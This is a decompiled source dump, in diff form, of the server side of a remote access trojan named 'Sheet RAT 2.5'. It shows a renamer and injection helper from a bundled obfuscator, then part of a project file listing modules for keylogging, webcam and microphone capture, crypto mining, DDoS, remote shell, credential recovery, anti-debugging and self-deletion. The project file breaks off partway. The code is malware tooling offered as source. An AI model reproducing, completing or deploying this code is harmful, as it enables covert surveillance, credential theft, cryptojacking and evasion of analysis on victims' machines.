||||
RenamerPhase.FieldNewName.Clear();
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
foreach (KeyValuePair<TypeDef, bool> keyValuePair in RenamerPhase.TypeRename.Where<KeyValuePair<TypeDef, bool>>((Func<KeyValuePair<TypeDef, bool>, bool>) (typeItem => typeItem.Value)))
|
||||
RenamerPhase.InternalRename(keyValuePair.Key);
|
||||
foreach (KeyValuePair<MethodDef, bool> keyValuePair in RenamerPhase.MethodRename.Where<KeyValuePair<MethodDef, bool>>((Func<KeyValuePair<MethodDef, bool>, bool>) (methodItem => methodItem.Value)))
|
||||
RenamerPhase.InternalRename(keyValuePair.Key);
|
||||
foreach (KeyValuePair<FieldDef, bool> keyValuePair in RenamerPhase.FieldRename.Where<KeyValuePair<FieldDef, bool>>((Func<KeyValuePair<FieldDef, bool>, bool>) (fieldItem => fieldItem.Value)))
|
||||
RenamerPhase.InternalRename(keyValuePair.Key);
|
||||
}
|
||||
}
|
||||
|
||||
private static void InternalRename(TypeDef type)
|
||||
{
|
||||
string str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
|
||||
while (RenamerPhase.TypeNewName.Contains(str))
|
||||
str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
|
||||
RenamerPhase.TypeNewName.Add(str);
|
||||
type.Name = (UTF8String) str;
|
||||
}
|
||||
|
||||
private static void InternalRename(MethodDef method)
|
||||
{
|
||||
string str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
|
||||
while (RenamerPhase.MethodNewName.Contains(str))
|
||||
str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
|
||||
RenamerPhase.MethodNewName.Add(str);
|
||||
method.Name = (UTF8String) str;
|
||||
}
|
||||
|
||||
private static void InternalRename(FieldDef field)
|
||||
{
|
||||
string str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
|
||||
while (RenamerPhase.FieldNewName.Contains(str))
|
||||
str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
|
||||
RenamerPhase.FieldNewName.Add(str);
|
||||
field.Name = (UTF8String) str;
|
||||
}
|
||||
|
||||
private static string RandomString(int length)
|
||||
{
|
||||
char ch = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"[RenamerPhase.Random.Next("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".Length)];
|
||||
char[] array = Enumerable.Repeat<string>("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", length - 1).Select<string, char>((Func<string, char>) (s => s[RenamerPhase.Random.Next(s.Length)])).ToArray<char>();
|
||||
return ch.ToString() + new string(array);
|
||||
}
|
||||
|
||||
private static string GetRandomName()
|
||||
{
|
||||
return RenamerPhase.NormalNameStrings[RenamerPhase.Random.Next(RenamerPhase.NormalNameStrings.Length)];
|
||||
}
|
||||
|
||||
public static string GenerateString(RenamerPhase.RenameMode mode)
|
||||
{
|
||||
switch (mode)
|
||||
{
|
||||
case RenamerPhase.RenameMode.Ascii:
|
||||
return RenamerPhase.RandomString(RenamerPhase.Random.Next(8, 16 /*0x10*/));
|
||||
case RenamerPhase.RenameMode.Key:
|
||||
return RenamerPhase.RandomString(16 /*0x10*/);
|
||||
case RenamerPhase.RenameMode.Normal:
|
||||
return RenamerPhase.GetRandomName();
|
||||
default:
|
||||
throw new ArgumentOutOfRangeException(nameof (mode), (object) mode, (string) null);
|
||||
}
|
||||
}
|
||||
|
||||
public enum RenameMode
|
||||
{
|
||||
Ascii,
|
||||
Key,
|
||||
Normal,
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,219 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Services.InjectHelper
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using dnlib.Utils;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Services {
|
||||
|
||||
public static class InjectHelper
|
||||
{
|
||||
private static TypeDefUser Clone(TypeDef origin)
|
||||
{
|
||||
TypeDefUser typeDefUser1 = new TypeDefUser(origin.Namespace, origin.Name);
|
||||
typeDefUser1.Attributes = origin.Attributes;
|
||||
TypeDefUser typeDefUser2 = typeDefUser1;
|
||||
if (origin.ClassLayout != null)
|
||||
typeDefUser2.ClassLayout = (ClassLayout) new ClassLayoutUser(origin.ClassLayout.PackingSize, origin.ClassSize);
|
||||
foreach (GenericParam genericParameter in (IEnumerable<GenericParam>) origin.GenericParameters)
|
||||
typeDefUser2.GenericParameters.Add((GenericParam) new GenericParamUser(genericParameter.Number, genericParameter.Flags, (UTF8String) "-"));
|
||||
return typeDefUser2;
|
||||
}
|
||||
|
||||
private static MethodDefUser Clone(MethodDef origin)
|
||||
{
|
||||
MethodDefUser methodDefUser = new MethodDefUser(origin.Name, (MethodSig) null, origin.ImplAttributes, origin.Attributes);
|
||||
foreach (GenericParam genericParameter in (IEnumerable<GenericParam>) origin.GenericParameters)
|
||||
methodDefUser.GenericParameters.Add((GenericParam) new GenericParamUser(genericParameter.Number, genericParameter.Flags, (UTF8String) "-"));
|
||||
return methodDefUser;
|
||||
}
|
||||
|
||||
private static FieldDefUser Clone(FieldDef origin)
|
||||
{
|
||||
return new FieldDefUser(origin.Name, (FieldSig) null, origin.Attributes);
|
||||
}
|
||||
|
||||
private static TypeDef PopulateContext(TypeDef typeDef, InjectHelper.InjectContext ctx)
|
||||
{
|
||||
IDnlibDef dnlibDef;
|
||||
TypeDef typeDef1;
|
||||
if (!ctx.Mep.TryGetValue((IDnlibDef) typeDef, out dnlibDef))
|
||||
{
|
||||
typeDef1 = (TypeDef) InjectHelper.Clone(typeDef);
|
||||
ctx.Mep[(IDnlibDef) typeDef] = (IDnlibDef) typeDef1;
|
||||
}
|
||||
else
|
||||
typeDef1 = (TypeDef) dnlibDef;
|
||||
foreach (TypeDef nestedType in (IEnumerable<TypeDef>) typeDef.NestedTypes)
|
||||
typeDef1.NestedTypes.Add(InjectHelper.PopulateContext(nestedType, ctx));
|
||||
foreach (MethodDef method in (IEnumerable<MethodDef>) typeDef.Methods)
|
||||
typeDef1.Methods.Add((MethodDef) (ctx.Mep[(IDnlibDef) method] = (IDnlibDef) InjectHelper.Clone(method)));
|
||||
foreach (FieldDef field in (IEnumerable<FieldDef>) typeDef.Fields)
|
||||
typeDef1.Fields.Add((FieldDef) (ctx.Mep[(IDnlibDef) field] = (IDnlibDef) InjectHelper.Clone(field)));
|
||||
return typeDef1;
|
||||
}
|
||||
|
||||
private static void CopyTypeDef(TypeDef typeDef, InjectHelper.InjectContext ctx)
|
||||
{
|
||||
TypeDef typeDef1 = (TypeDef) ctx.Mep[(IDnlibDef) typeDef];
|
||||
typeDef1.BaseType = ctx.Importer.Import(typeDef.BaseType);
|
||||
foreach (InterfaceImpl interfaceImpl in (IEnumerable<InterfaceImpl>) typeDef.Interfaces)
|
||||
typeDef1.Interfaces.Add((InterfaceImpl) new InterfaceImplUser(ctx.Importer.Import(interfaceImpl.Interface)));
|
||||
}
|
||||
|
||||
private static void CopyMethodDef(MethodDef methodDef, InjectHelper.InjectContext ctx)
|
||||
{
|
||||
MethodDef methodDef1 = (MethodDef) ctx.Mep[(IDnlibDef) methodDef];
|
||||
methodDef1.Signature = ctx.Importer.Import(methodDef.Signature);
|
||||
methodDef1.Parameters.UpdateParameterTypes();
|
||||
if (methodDef.ImplMap != null)
|
||||
methodDef1.ImplMap = (ImplMap) new ImplMapUser((ModuleRef) new ModuleRefUser(ctx.TargetModule, methodDef.ImplMap.Module.Name), methodDef.ImplMap.Name, methodDef.ImplMap.Attributes);
|
||||
foreach (CustomAttribute customAttribute in (LazyList<CustomAttribute>) methodDef.CustomAttributes)
|
||||
methodDef1.CustomAttributes.Add(new CustomAttribute((ICustomAttributeType) ctx.Importer.Import((IMethod) customAttribute.Constructor)));
|
||||
if (!methodDef.HasBody)
|
||||
return;
|
||||
methodDef1.Body = new CilBody(methodDef.Body.InitLocals, (IList<Instruction>) new List<Instruction>(), (IList<ExceptionHandler>) new List<ExceptionHandler>(), (IList<Local>) new List<Local>())
|
||||
{
|
||||
MaxStack = methodDef.Body.MaxStack
|
||||
};
|
||||
Dictionary<object, object> bodyMap = new Dictionary<object, object>();
|
||||
foreach (Local variable in methodDef.Body.Variables)
|
||||
{
|
||||
Local local = new Local(ctx.Importer.Import(variable.Type));
|
||||
methodDef1.Body.Variables.Add(local);
|
||||
local.Name = variable.Name;
|
||||
local.Attributes = variable.Attributes;
|
||||
bodyMap[(object) variable] = (object) local;
|
||||
}
|
||||
foreach (Instruction instruction1 in (IEnumerable<Instruction>) methodDef.Body.Instructions)
|
||||
{
|
||||
Instruction instruction2 = new Instruction(instruction1.OpCode, instruction1.Operand)
|
||||
{
|
||||
SequencePoint = instruction1.SequencePoint
|
||||
};
|
||||
if (instruction2.Operand is IType)
|
||||
{
|
||||
instruction2.Operand = (object) ctx.Importer.Import((IType)instruction2.Operand);
|
||||
}
|
||||
else if (instruction2.Operand is IMethod)
|
||||
{
|
||||
instruction2.Operand = (object) ctx.Importer.Import((IMethod)instruction2.Operand);
|
||||
}
|
||||
else if (instruction2.Operand is IField)
|
||||
{
|
||||
instruction2.Operand = (object) ctx.Importer.Import((IField)instruction2.Operand);
|
||||
}
|
||||
methodDef1.Body.Instructions.Add(instruction2);
|
||||
bodyMap[(object) instruction1] = (object) instruction2;
|
||||
}
|
||||
foreach (Instruction instruction3 in (IEnumerable<Instruction>) methodDef1.Body.Instructions)
|
||||
{
|
||||
if (instruction3.Operand != null && bodyMap.ContainsKey(instruction3.Operand))
|
||||
instruction3.Operand = bodyMap[instruction3.Operand];
|
||||
else if (instruction3.Operand is Instruction[] operand)
|
||||
{
|
||||
Instruction instruction4 = instruction3;
|
||||
Func<Instruction, Instruction> selector = (Func<Instruction, Instruction>) (target => (Instruction) bodyMap[(object) target]);
|
||||
Instruction[] array = ((IEnumerable<Instruction>) operand).Select<Instruction, Instruction>(selector).ToArray<Instruction>();
|
||||
instruction4.Operand = (object) array;
|
||||
}
|
||||
}
|
||||
foreach (ExceptionHandler exceptionHandler in (IEnumerable<ExceptionHandler>) methodDef.Body.ExceptionHandlers)
|
||||
methodDef1.Body.ExceptionHandlers.Add(new ExceptionHandler(exceptionHandler.HandlerType)
|
||||
{
|
||||
CatchType = exceptionHandler.CatchType == null ? (ITypeDefOrRef) null : ctx.Importer.Import(exceptionHandler.CatchType),
|
||||
TryStart = (Instruction) bodyMap[(object) exceptionHandler.TryStart],
|
||||
TryEnd = (Instruction) bodyMap[(object) exceptionHandler.TryEnd],
|
||||
HandlerStart = (Instruction) bodyMap[(object) exceptionHandler.HandlerStart],
|
||||
HandlerEnd = (Instruction) bodyMap[(object) exceptionHandler.HandlerEnd],
|
||||
FilterStart = exceptionHandler.FilterStart == null ? (Instruction) null : (Instruction) bodyMap[(object) exceptionHandler.FilterStart]
|
||||
});
|
||||
methodDef1.Body.SimplifyMacros((IList<Parameter>) methodDef1.Parameters);
|
||||
}
|
||||
|
||||
private static void CopyFieldDef(FieldDef fieldDef, InjectHelper.InjectContext ctx)
|
||||
{
|
||||
((FieldDef) ctx.Mep[(IDnlibDef) fieldDef]).Signature = ctx.Importer.Import(fieldDef.Signature);
|
||||
}
|
||||
|
||||
private static void Copy(TypeDef typeDef, InjectHelper.InjectContext ctx, bool copySelf)
|
||||
{
|
||||
if (copySelf)
|
||||
InjectHelper.CopyTypeDef(typeDef, ctx);
|
||||
foreach (TypeDef nestedType in (IEnumerable<TypeDef>) typeDef.NestedTypes)
|
||||
InjectHelper.Copy(nestedType, ctx, true);
|
||||
foreach (MethodDef method in (IEnumerable<MethodDef>) typeDef.Methods)
|
||||
InjectHelper.CopyMethodDef(method, ctx);
|
||||
foreach (FieldDef field in (IEnumerable<FieldDef>) typeDef.Fields)
|
||||
InjectHelper.CopyFieldDef(field, ctx);
|
||||
}
|
||||
|
||||
public static TypeDef Inject(TypeDef typeDef, ModuleDef target)
|
||||
{
|
||||
InjectHelper.InjectContext ctx = new InjectHelper.InjectContext(target);
|
||||
InjectHelper.PopulateContext(typeDef, ctx);
|
||||
InjectHelper.Copy(typeDef, ctx, true);
|
||||
return (TypeDef) ctx.Mep[(IDnlibDef) typeDef];
|
||||
}
|
||||
|
||||
public static MethodDef Inject(MethodDef methodDef, ModuleDef target)
|
||||
{
|
||||
InjectHelper.InjectContext ctx = new InjectHelper.InjectContext(target);
|
||||
ctx.Mep[(IDnlibDef) methodDef] = (IDnlibDef) InjectHelper.Clone(methodDef);
|
||||
InjectHelper.CopyMethodDef(methodDef, ctx);
|
||||
return (MethodDef) ctx.Mep[(IDnlibDef) methodDef];
|
||||
}
|
||||
|
||||
public static IEnumerable<IDnlibDef> Inject(TypeDef typeDef, TypeDef newType, ModuleDef target)
|
||||
{
|
||||
InjectHelper.InjectContext ctx = new InjectHelper.InjectContext(target);
|
||||
ctx.Mep[(IDnlibDef) typeDef] = (IDnlibDef) newType;
|
||||
InjectHelper.PopulateContext(typeDef, ctx);
|
||||
InjectHelper.Copy(typeDef, ctx, false);
|
||||
return ctx.Mep.Values.Except<IDnlibDef>((IEnumerable<IDnlibDef>) new TypeDef[1]
|
||||
{
|
||||
newType
|
||||
});
|
||||
}
|
||||
|
||||
private class InjectContext : ImportMapper
|
||||
{
|
||||
public readonly Dictionary<IDnlibDef, IDnlibDef> Mep = new Dictionary<IDnlibDef, IDnlibDef>();
|
||||
public readonly ModuleDef TargetModule;
|
||||
|
||||
public InjectContext(ModuleDef target)
|
||||
{
|
||||
this.TargetModule = target;
|
||||
this.Importer = new Importer(target, ImporterOptions.TryToUseTypeDefs, new GenericParamContext(), (ImportMapper) this);
|
||||
}
|
||||
|
||||
public Importer Importer { get; }
|
||||
|
||||
public override ITypeDefOrRef Map(ITypeDefOrRef typeDefOrRef)
|
||||
{
|
||||
return !(typeDefOrRef is TypeDef key) || !this.Mep.ContainsKey((IDnlibDef) key) ? (ITypeDefOrRef) null : (ITypeDefOrRef) this.Mep[(IDnlibDef) key];
|
||||
}
|
||||
|
||||
public override IMethod Map(MethodDef methodDef)
|
||||
{
|
||||
return !this.Mep.ContainsKey((IDnlibDef) methodDef) ? (IMethod) null : (IMethod) this.Mep[(IDnlibDef) methodDef];
|
||||
}
|
||||
|
||||
public override IField Map(FieldDef fieldDef)
|
||||
{
|
||||
return !this.Mep.ContainsKey((IDnlibDef) fieldDef) ? (IField) null : (IField) this.Mep[(IDnlibDef) fieldDef];
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,326 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{01245AF5-2608-43B2-AE7A-BA4CE0C07D0E}</ProjectGuid>
|
||||
<OutputType>Exe</OutputType>
|
||||
<AssemblyName>Server</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.6.2</TargetFrameworkVersion>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="GMap.NET.Core">
|
||||
<HintPath>lib\GMap.NET.Core.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="GMap.NET.WindowsForms">
|
||||
<HintPath>lib\GMap.NET.WindowsForms.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="IconExtractor">
|
||||
<HintPath>lib\IconExtractor.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="Ionic.Zip">
|
||||
<HintPath>lib\Ionic.Zip.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="MetroFramework">
|
||||
<HintPath>lib\MetroFramework.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="NAudio">
|
||||
<HintPath>lib\NAudio.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="Newtonsoft.Json">
|
||||
<HintPath>lib\Newtonsoft.Json.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="Vestris.ResourceLib">
|
||||
<HintPath>lib\Vestris.ResourceLib.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="cGeoIp">
|
||||
<HintPath>lib\cGeoIp.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="dnlib">
|
||||
<HintPath>lib\dnlib.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="protobuf-net">
|
||||
<HintPath>lib\protobuf-net.dll</HintPath>
|
||||
</Reference>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Stub\Helper\CryptString\Caesars.cs" />
|
||||
<Compile Include="MindLated\Services\InjectHelper.cs" />
|
||||
<Compile Include="MindLated\Protection\Renamer\RenamerPhase.cs" />
|
||||
<Compile Include="MindLated\Protection\Proxy\ProxyInt.cs" />
|
||||
<Compile Include="MindLated\Protection\Proxy\ProxyMeth.cs" />
|
||||
<Compile Include="MindLated\Protection\Proxy\EnumerableHelper.cs" />
|
||||
<Compile Include="MindLated\Protection\Proxy\EnumerableExtensions.cs" />
|
||||
<Compile Include="MindLated\Protection\Proxy\ProxyString.cs" />
|
||||
<Compile Include="MindLated\Protection\CtrlFlow\Block.cs" />
|
||||
<Compile Include="MindLated\Protection\CtrlFlow\BlockParser.cs" />
|
||||
<Compile Include="MindLated\Protection\CtrlFlow\ControlFlowObfuscation.cs" />
|
||||
<Compile Include="MindLated\Protection\CtrlFlow\JumpCFlow.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Arithmetic.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\ArithmeticEmulator.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\ArithmeticTypes.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\ArithmeticVt.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Function.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Token.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Value.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Utils\ArithmeticUtils.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Generator\Generator.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Functions\Add.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Functions\Div.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Functions\Mul.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Functions\Sub.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Functions\Xor.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Functions\Maths\Abs.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Functions\Maths\Ceiling.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Functions\Maths\Cos.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Functions\Maths\Floor.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Functions\Maths\Log.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Functions\Maths\Log10.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Functions\Maths\Round.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Functions\Maths\Sin.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Functions\Maths\Sqrt.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Functions\Maths\Tan.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Functions\Maths\Tanh.cs" />
|
||||
<Compile Include="MindLated\Protection\Arithmetic\Functions\Maths\Truncate.cs" />
|
||||
<Compile Include="MindLated\Protection\Anti\AntiDebug.cs" />
|
||||
<Compile Include="MindLated\Protection\Anti\AntiDump.cs" />
|
||||
<Compile Include="MindLated\Protection\Anti\AntiTamper.cs" />
|
||||
<Compile Include="MindLated\Protection\Anti\AntiDe4dot.cs" />
|
||||
<Compile Include="MindLated\Protection\Anti\Antimanything.cs" />
|
||||
<Compile Include="MindLated\Protection\Anti\Runtime\AntiDebugSafe.cs" />
|
||||
<Compile Include="MindLated\Protection\Anti\Runtime\AntiDumpRun.cs" />
|
||||
<Compile Include="MindLated\Protection\Anti\Runtime\EofAntiTamper.cs" />
|
||||
<Compile Include="MindLated\Protection\Anti\Runtime\SelfDeleteClass.cs" />
|
||||
<Compile Include="Server\Form1.cs" />
|
||||
<Compile Include="Server\Program.cs" />
|
||||
<Compile Include="Server\Properties\Settings.cs" />
|
||||
<Compile Include="Server\Properties\Resources.cs" />
|
||||
<Compile Include="Server\Message\HandlerAutoTaskPhoto.cs" />
|
||||
<Compile Include="Server\Message\HandlerAutoTaskScreenShot.cs" />
|
||||
<Compile Include="Server\Message\HandlerCapture.cs" />
|
||||
<Compile Include="Server\Message\HandlerChatMessage.cs" />
|
||||
<Compile Include="Server\Message\HandlerConnectChat.cs" />
|
||||
<Compile Include="Server\Message\HandlerConnectChatEnd.cs" />
|
||||
<Compile Include="Server\Message\HandlerConnectingPaste.cs" />
|
||||
<Compile Include="Server\Message\HandlerConnectMessage.cs" />
|
||||
<Compile Include="Server\Message\HandlerConnectMinerXmr.cs" />
|
||||
<Compile Include="Server\Message\HandlerConnectSpeakBot.cs" />
|
||||
<Compile Include="Server\Message\HandlerGetClipboard.cs" />
|
||||
<Compile Include="Server\Message\HandlerConnecting.cs" />
|
||||
<Compile Include="Server\Message\HandlerConnectManager.cs" />
|
||||
<Compile Include="Server\Message\HandlerConnectMicrophone.cs" />
|
||||
<Compile Include="Server\Message\HandlerConnectMiner.cs" />
|
||||
<Compile Include="Server\Message\HandlerConnectRemoteDesktopSound.cs" />
|
||||
<Compile Include="Server\Message\HandlerConnectRemoteDesktop.cs" />
|
||||
<Compile Include="Server\Message\HandlerConnectService.cs" />
|
||||
<Compile Include="Server\Message\HandlerConnectClipboard.cs" />
|
||||
<Compile Include="Server\Message\HandlerConnectShell.cs" />
|
||||
<Compile Include="Server\Message\HandlerConnectNetstat.cs" />
|
||||
<Compile Include="Server\Message\HandlerConnectAutoRun.cs" />
|
||||
<Compile Include="Server\Message\HandlerConnectFun.cs" />
|
||||
<Compile Include="Server\Message\HandlerConnectTaskMgr.cs" />
|
||||
<Compile Include="Server\Message\HandlerDDosConnect.cs" />
|
||||
<Compile Include="Server\Message\HandlerDeviceNAudio.cs" />
|
||||
<Compile Include="Server\Message\HandlerDownloadGet.cs" />
|
||||
<Compile Include="Server\Message\HandlerDownloadInfo.cs" />
|
||||
<Compile Include="Server\Message\HandlerError.cs" />
|
||||
<Compile Include="Server\Message\HandlerGetMinerLibs.cs" />
|
||||
<Compile Include="Server\Message\HandlerGetMinerXmr.cs" />
|
||||
<Compile Include="Server\Message\HandlerGetMiner.cs" />
|
||||
<Compile Include="Server\Message\HandlerConnectRemoteCamera.cs" />
|
||||
<Compile Include="Server\Message\HandlerKeyLogger.cs" />
|
||||
<Compile Include="Server\Message\HandlerKeyloggerConnect.cs" />
|
||||
<Compile Include="Server\Message\HandlerKillProcesses.cs" />
|
||||
<Compile Include="Server\Message\HandlerManagerDrivers.cs" />
|
||||
<Compile Include="Server\Message\HandlerManagerGetPath.cs" />
|
||||
<Compile Include="Server\Message\HandlerMap.cs" />
|
||||
<Compile Include="Server\Message\HandlerMessageReturn.cs" />
|
||||
<Compile Include="Server\Message\HandlerNetstatlist.cs" />
|
||||
<Compile Include="Server\Message\HandlerRecovery.cs" />
|
||||
<Compile Include="Server\Message\HandlerDesktopRecovery.cs" />
|
||||
<Compile Include="Server\Message\HandlerStartRecovery.cs" />
|
||||
<Compile Include="Server\Message\HandlerStartUpAdd.cs" />
|
||||
<Compile Include="Server\Message\HandlerStartUpDelet.cs" />
|
||||
<Compile Include="Server\Message\HandlerStartUpUpdate.cs" />
|
||||
<Compile Include="Server\Message\HandlerProcesses.cs" />
|
||||
<Compile Include="Server\Message\HandlerRegManager.cs" />
|
||||
<Compile Include="Server\Message\HandlerProxy.cs" />
|
||||
<Compile Include="Server\Message\HandlerGetWebcams.cs" />
|
||||
<Compile Include="Server\Message\HandlerLog.cs" />
|
||||
<Compile Include="Server\Message\HandlerLogs.cs" />
|
||||
<Compile Include="Server\Message\HandlerPing.cs" />
|
||||
<Compile Include="Server\Message\HandlerPong.cs" />
|
||||
<Compile Include="Server\Message\HandlerRecoveryNAudio.cs" />
|
||||
<Compile Include="Server\Message\HandlerRefreshStatus.cs" />
|
||||
<Compile Include="Server\Message\HandlerRemoteDesktop.cs" />
|
||||
<Compile Include="Server\Message\HandlerScheduler.cs" />
|
||||
<Compile Include="Server\Message\HandlerSendDll.cs" />
|
||||
<Compile Include="Server\Message\HandlerServiceStatus.cs" />
|
||||
<Compile Include="Server\Message\HandlerServiceUpdate.cs" />
|
||||
<Compile Include="Server\Message\HandlerShell.cs" />
|
||||
<Compile Include="Server\Message\HandlerStatusMiner.cs" />
|
||||
<Compile Include="Server\Message\HandlerUploadConnect.cs" />
|
||||
<Compile Include="Server\Message\HandlerUploadEnd.cs" />
|
||||
<Compile Include="Server\Message\Packet.cs" />
|
||||
<Compile Include="Server\ReverseProxy\ReverseProxyClient.cs" />
|
||||
<Compile Include="Server\ReverseProxy\ReverseProxyServer.cs" />
|
||||
<Compile Include="Server\Helper\ByteConverter.cs" />
|
||||
<Compile Include="Server\Helper\AeroListView.cs" />
|
||||
<Compile Include="Server\Helper\RegValueHelper.cs" />
|
||||
<Compile Include="Server\Helper\RegistryTreeView.cs" />
|
||||
<Compile Include="Server\Helper\RegistryValueLstItem.cs" />
|
||||
<Compile Include="Server\Helper\WordTextBox.cs" />
|
||||
<Compile Include="Server\Helper\CustomConsole.cs" />
|
||||
<Compile Include="Server\Helper\Data.cs" />
|
||||
<Compile Include="Server\Helper\DataGridImage.cs" />
|
||||
<Compile Include="Server\Helper\DiscordWebhook.cs" />
|
||||
<Compile Include="Server\Helper\IconInjector.cs" />
|
||||
<Compile Include="Server\Helper\JumpCtrlFlow.cs" />
|
||||
<Compile Include="Server\Helper\JunkCodeInjector.cs" />
|
||||
<Compile Include="Server\Helper\lonc.cs" />
|
||||
<Compile Include="Server\Helper\Methods.cs" />
|
||||
<Compile Include="Server\Helper\PC4.cs" />
|
||||
<Compile Include="Server\Helper\ProxyAdder.cs" />
|
||||
<Compile Include="Server\Helper\RegistryKeyExtensions.cs" />
|
||||
<Compile Include="Server\Helper\RegistryKeyHelper.cs" />
|
||||
<Compile Include="Server\Helper\RegistrySeeker.cs" />
|
||||
<Compile Include="Server\Helper\Obfus\Protection\Renamer\ValidNames.cs" />
|
||||
<Compile Include="Server\Helper\Notif\Notf.cs" />
|
||||
<Compile Include="Server\Helper\HexEditor\ByteCollection.cs" />
|
||||
<Compile Include="Server\Helper\HexEditor\Caret.cs" />
|
||||
<Compile Include="Server\Helper\HexEditor\EditView.cs" />
|
||||
<Compile Include="Server\Helper\HexEditor\HexEditor.cs" />
|
||||
<Compile Include="Server\Helper\HexEditor\HexViewHandler.cs" />
|
||||
<Compile Include="Server\Helper\HexEditor\IKeyMouseEventHandler.cs" />
|
||||
<Compile Include="Server\Helper\HexEditor\StringViewHandler.cs" />
|
||||
<Compile Include="Server\Helper\Configs\EnumsAuto.cs" />
|
||||
<Compile Include="Server\Helper\Configs\DataAuto.cs" />
|
||||
<Compile Include="Server\Helper\Configs\AutoTaskM.cs" />
|
||||
<Compile Include="Server\Helper\Configs\Metka.cs" />
|
||||
